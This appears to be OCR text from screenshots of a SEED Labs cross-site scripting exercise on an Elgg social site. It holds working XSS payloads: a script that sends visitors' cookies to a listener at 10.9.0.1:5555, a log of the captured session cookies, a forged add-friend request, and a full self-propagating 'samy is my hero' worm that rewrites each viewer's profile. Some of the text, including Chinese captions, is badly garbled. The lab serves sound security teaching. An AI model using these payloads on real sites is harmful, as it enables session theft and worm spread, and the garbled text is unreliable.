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(AFE BTN
i DNS FCE, 79 10.9.0.5 fgtrieeslisa . HaiE e
29
30 # For Shellshock Lab
3110.9.0.80 www.seedlab-shellshock. com
32
33 192.168.60.80 www.seedIoT32.com
34
35 #For XSS
36 10.9.0.5 www.seed-server.com
3710.9.0.5 www.example32a.com
3810.9.0.5 www.example32b.com
39 10.9.8.5 www.example32c.com
40 10.9.0.5 www.example6d.com
4110.9.0.5 www.example70. conm

[04/02/25] seed@/M:~/.../Labsetup$ dockps
2c2c97ab5c85 elgg-10.9.0.5
2421326715 mysql-10.9.0.6
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Brief description

<script>alert('XSS');</script>
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Brief description

<script type="kext/javascript” src="http://www.example.com/myscripts.js"></script>
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,,{IE | {3 Inspector Console [ Debugger 1) Metwork {} Style Editor () Performance {

Iml | W Filker Output
A Loading failed for the =script= with source "http://www.example. com/myscripts.js".
» |
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Brief description

<script>alert(document.cookie);</script>

Public 1
SR E, {54 cookie

Elgggh5imhirTra2snkcu2f481vfl9e |

M EEFINLZS TTEL cookie

BN js ARG, EHETHEK cookie 58 &iXF] 10.9.0.1 1
5555 i [

Brief description

<script>document.write('<img src=http://10.9.0.1:5555?c="+escape(document.cookie) + '>");</script>
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% alice 5 & F samy, FHL T E] Alice ) Cookie

Connection received on 61.139.2.137 50460

GET /?c=Elgg43D79c8c4j7h4pnhkum2ef2etgshtk3B%2@elggperm%3DzTGUg-5xa4i2cUSJ3NALko
QdI34g40iZ HTTP/1.1

Host: 10.9.0.1:5555

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:83.0) Gecko/20100101 Fire
fox/83.0

Accept: image/webp,*/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://www.seed-server.com/members

Connection received on 61.139.2.137 50466

GET /?c=Elgg%ED79c8c4j7h4pnhkum2ef2etgshtF3B%ZGelggperm%3DzTGUg-5xa4i2cUSJ3NALko
QdI34g40iZ HTTP7T T

Host: 10.9.0.1:5555

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86 64; rv:83.0) Gecko/20100101 Fire
fox/83.0

Accept: image/webp,*/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://www.seed-server.com/profile/samy

A5 Alice AR A

Waiting for 10.9.0.1...

® O Inspector Console [ Debugger 1 Metwork {} Style Editor (7) Performance {J: Memory (5] Storage  Accessibility 288 Application f] = X
[ ¥ Filter URLs Il Q @ Al HTML €55 J5 XHR Fonts Images Media WS Other Disable Cache ~ NoThrottlings %
Sta.. Me.. Domain File Initiator Type Transferred  Size [l Headers Cookies Request Response  Timings  Stack Trace
GET sprintFjs requirejs:1 cached 0B ¥ Filter Headers Block Resend
Bl cer enjs require js:1 cached 08 b GET http://www.seed-server.com/action/Friends/add?friend-592_ elgq_ts-1743578199,17435781
e weskmap-polyfilljs requirejsi1 cached 0 995 __elgg_token=Hd3WR3KLSZQcbMTBYTRCA, HA3WR3KESZQcbMTEYTRCA
GET formdata-polyFilljs requirejs:1... cached 0B 2000k ()
GET widgets.js require js:1 cached 0B HTTP/1.1
GET initjs requirejs:1... cached 3708 768 B (386 Bsize)
. no-referrerwhen-downgrade
R cer readyjs require js:1 cached 1238
GET lightboxjs requirejs:1 cached 0B ~ Response Headers (382 B) Haw)
o item_toggle s requiejs:1 cached 4568 Cache-Control: must-revalidate, no-cache, no-store, private
— - Connection: Keep-Alive

GET topbar.js requirejs:1.. cached 75B Content-Length: 386
GET Form js require js:1 cached 03 Content-Type: application/json; charset=UTF-8
GET reportedcontent js require js:1 cached 0B Date: Wed, 02 Apr 2025 07:17:20 GMT
e Pluginjs requirejsr e . expires: Thu, 15 Nov 1581 0352:00 GMT

) o Keep-Alive: timeout=s, max=100
200 jilleas jquery.colorboxjs require js:1 cached 0B )

pragma: no-cache
GET Ajaxjs require js:1 cached 08 Server: Apache/2.4.41 (Ubuntu)
GET spinners requirejs:1.. cached 754B Vary: User-Agent
-content-type-options: iff
GET favicon-128.png FaviconLoa... cached 22. reentEnElypeoptions: nosnt
+ Requesk Headers (547 B) Raw

200 Jilleal Favicon.svg FaviconLoa cached 63

Accept: application/jsen, text/javascript, */*; g=0.01

Accept-Encoding: gzip, deflate
27requests  34.90KB/4.55KBlransferred | Finish:43.07s  DOMContentLoaded: 542 ms Accept-Language: en-US,enig=0.5

Ry RMGE, 58 XMLHttpRequest XF %447 get iR,

]

About me
Embed content  Visual editor
<script type="text/javascript">window.onload = function (){var Ajax=nullvar ts="&__elgg_ts="+elgg.security.token.__elgg ts;var token="&

elgg_token="+elgg.security.token.__elgg_token;var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ ts + token;Ajax=new
XMLHttpReguest();Ajax.open("GET", sendurl, true);Ajax.send();}</script>|
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Samy

=+ Add friend B3 Send a message
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Vil A A friend, &I Samy HEIERIN T 4F K

Alice's friends

M symy

B Alice B Profile
3k Samy H A JS M, HH AR Samy I,
1] http://www.seed-server.com/action/profile/edit & i% POST

53K, # description %y samy is my hero

About me
Embed content  Visual editor

<script id="worm"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">";var jsCode =document.getElementByld("worm").innerHTML; var tailTag =
"</" +"script>";var wormCode = encodeURIComponent(headerTag + jsCode +tailTag);window.onload = function(){var userName="&

name="+glgg.session.user.name;var quid="&guid="+elgg.session.user.quid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&
__elgg_token="+elgg.security.token. _elgg_token;var content=token + ts + userName +"&description="+ wormCode + "&accesslevel[description]=2"

+"&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2"+guid;var samyGuid=59;var sendurl="http://www.seed-server.com/action
/profile/edit";if(elgg.session.user.guid!=samyGuid){var Ajax=null;Ajax=new XMLHLttpRequest();Ajax.open("POST", sendurl,
true);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded™);Ajax.send(content);}}</script>
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http://www.seed-server.com/action/profile/edit

Elgg For SEED Labs

Alice

) Edit avatar BB Edit profile

Elgg For SEED Labs

Alice

& Edit avatar B8 Edit profile

Brief description
samy is my hero

About me
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About me
Embed content  Visual editor

<script id="worm" type= text/@m >var headerTag =" <scr|pt|d \worm\" type=\"text/javascript\">";var jsCode
=document.getElementByld("worm").innerHTML; varvg&l:[ggf <[" +"script>";var wormCode = encodeURIComponent(headerTag + jsCode
+m) window.onload = function(){var yserName="8& +elgg.session.user.name; varm.yg "&guid="+elgg.session.user.
securlty token. ts;var token="8& el
"&accesslevel[description]=!
samyGuid=59;var sendurl="http://www.seed-server.com/action/profile/edit";if(elgg.session.user.guid!=samyGuid){var Ajax=null;Ajax=new
W();Ajax.open(wosﬂ, sendurl, true);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send(content);}}
<[script>
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About me
Embed content  Visual editor

<script id="worm"> var headerTag = "<script id=\"worm\" type=\"text/javascript\">";var jsCode =document.getElementByld("worm"),innerHTML; var tailTag =
“<[" +"script>";var wormCode = encodeURIComponent(headerTaqg + jsCode +£ailTag);window.onload = function(){var userName="&
name="+elgg.session.user.name;var guid="&guid="+elgg.session.user.quid;var ts="&__elag_ts="+elgg.security.token.__elgg_ts;var token="&

elgg token="+elgg.security.token.__elgg token;var content=token + ts + yserName +"&description=" + wormCode + "&accesslevel[description]=2"
+"&briefdescription=samy%20is%20my%20hero&accesslevel[briefdescription]=2"+quid;var samyGuid=59;var sendurl="http://www.seed-server.com/action
/profile/edit";if(elgg.session.user.guid!=samyGuid){var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST", sendurl,
true);Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send(content);}} </script>
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& Edit avatar B8 Edit profile

Brief description
samy is my hero

About me
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Files
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Boby

E= Edit avatar B8 Edit profile

Blogs

Bookmarks

Files
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Boby

B Edit avatar B2 Edit profile

Brief description
samy is my hero

About me

Blogs

Bookmarks

Files
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. KA http://www.example.com 3EEX JavaScript F25 25K

(w {3 Inspecter Console [ Debugger ) Metwork {} StyleEditor () Performance 4

]ﬂ[ T Filte

M Loading failed for the <script= with source “"http:/ www.example.com/myscripts.js".
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